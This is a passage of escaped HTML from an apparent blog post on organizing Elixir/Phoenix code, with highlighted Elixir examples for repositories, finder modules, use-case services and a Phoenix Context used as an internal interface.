&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This context contains a lot of code that is related to &quot;thing&quot; but is unrelated to each other, so let&apos;s break it up.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#repository&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;repository&quot;&gt;&lt;/a&gt;Repository&lt;/h3&gt;
&lt;p&gt;The first step is to refactor our CRUD operations using the &lt;a href=&quot;https://martinfowler.com/eaaCatalog/repository.html&quot;&gt;repository pattern&lt;/a&gt;. A &lt;code&gt;Repository&lt;/code&gt; concentrates all CRUD operations for one schema or context. Usually, it only queries the database, but we could also add a caching mechanism here. Adding a repository is as simple as moving the CRUD operations to a new module called &lt;code&gt;App.Things.ThingRepo&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Things.ThingRepo&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;moduledoc&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;&quot;The Repository for Thing&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:repository&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- You can import Ecto.Query and alias App.Repo in here for easy reuse&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Example CRUD operations&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Creates a thing&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;update_thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Updates a thing&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, with our CRUD operations out of the way, we can focus on the business logic and complex queries.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#finders&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;finders&quot;&gt;&lt;/a&gt;Finders&lt;/h3&gt;
&lt;p&gt;Next, we move our complex queries into dedicated &lt;code&gt;finder&lt;/code&gt; modules. We could also move the complex queries to our new repository, but isolating complex and very specific queries into their own modules keeps our repository clean and makes it easier to test them. For each query, we create a new module like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Things.Finders.ListThingsThatAreRelevantToCustomerInMonth&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;moduledoc&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;&quot;The Query for listing all relevant Things for a Customer in a given Month&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:finder&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- You can import Ecto.Query and alias App.Repo in here for easy reuse&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Note that all finders have the same public function called &quot;find&quot;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;month&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;thing&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;join: &lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# join another thing,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;where&lt;/span&gt;: &lt;span style=&quot;color: #8b949e;&quot;&gt;# complex conditions&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;select: &lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# custom select statement&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#services&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;services&quot;&gt;&lt;/a&gt;Services&lt;/h3&gt;
&lt;p&gt;As a last step, we need to move our complex business logic into dedicated &lt;code&gt;services&lt;/code&gt;. We usually create one service per &quot;use-case&quot;. A use-case can be anything that your application user does, like creating or updating things, but it&apos;s often better to use &quot;business language&quot; to describe a use-case. So, instead of calling a service &lt;code&gt;CreateThing&lt;/code&gt;, we use the user&apos;s intent or end goal to describe the use-case. For example, a &quot;thing&quot; might be an order in our e-commerce system, so creating a thing means that a customer purchased a product and we should schedule the product for delivery. So, instead of calling the use-case &lt;code&gt;CreateOrder&lt;/code&gt;, we can call it &lt;code&gt;CompleteOrderAndScheduleDelivery&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Our service might look like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Things.Services.CompleteOrderAndScheduleDelivery&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Things.ThingRepo&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Things.Services.ScheduleOrderDelivery&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# A Service from another Context&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# You can replace this also with an internal interface&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# as discussed in the next section&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Notifications.Services.DeliverOrderScheduledEmail&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ThingRepo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;           &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;delivery_date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ScheduleOrderDelivery&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;           &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DeliverOrderScheduledEmail&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;delivery_date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, every use-case is encapsulated into a single service and we can easily test, update, and delete each use-case individually.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#context-as-internal-interface&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;context-as-internal-interface&quot;&gt;&lt;/a&gt;Context as Internal Interface&lt;/h3&gt;
&lt;p&gt;The last but optional step is to convert the Phoenix Context into an internal interface for all &quot;thing&quot; related calls. This isn&apos;t always necessary, but if you develop a large application with many teams, it might help if every team exposes a single interface through which all other teams can call the team&apos;s repositories, services, and finders. If you don&apos;t offer such an interface, other teams will call these modules directly. If you don&apos;t watch out, your system might become a giant ball of mud where a change to one service breaks ten services from other teams. Even worse, the team who owns that service won&apos;t have the domain knowledge of the other teams, so they can&apos;t change their own service without collaborating with the other teams.&lt;/p&gt;
&lt;p&gt;If you fear that you might run into this situation, you can convert your Phoenix Context into an internal interface. In our situation, such an interface might look like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Things&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;moduledoc&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;&quot;The internal interface for &amp;#39;Thing&amp;#39;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Things.ThingRepo&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Things.Services&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Things.Finders&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# You can make explicit function calls or use defdelegate&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;#&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Note, that if you use defdelegate, you cannot change the&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# parameters of the ThingRepo function without also changing&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# the calling function outside of the Things context.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ThingRepo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defdelegate&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;update_thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;to: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ThingRepo&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# By creating a function for each service or finder&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# you can easily control which services and finders&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# you want to expose to other teams and which ones&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# you rather keep internal.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;#&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# You don&amp;#39;t have that control when you don&amp;#39;t have such&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# an interface and other teams can simply call your&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# services or finders directly.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;complete_order_and_schedule_delivery&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Services.CompleteOrderAndScheduleDelivery&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# By using an internal interface, you can add multiple&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# functions for calling the same query. That&amp;#39;s handy&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# if you want to define default parameters without&lt;/span&gt;
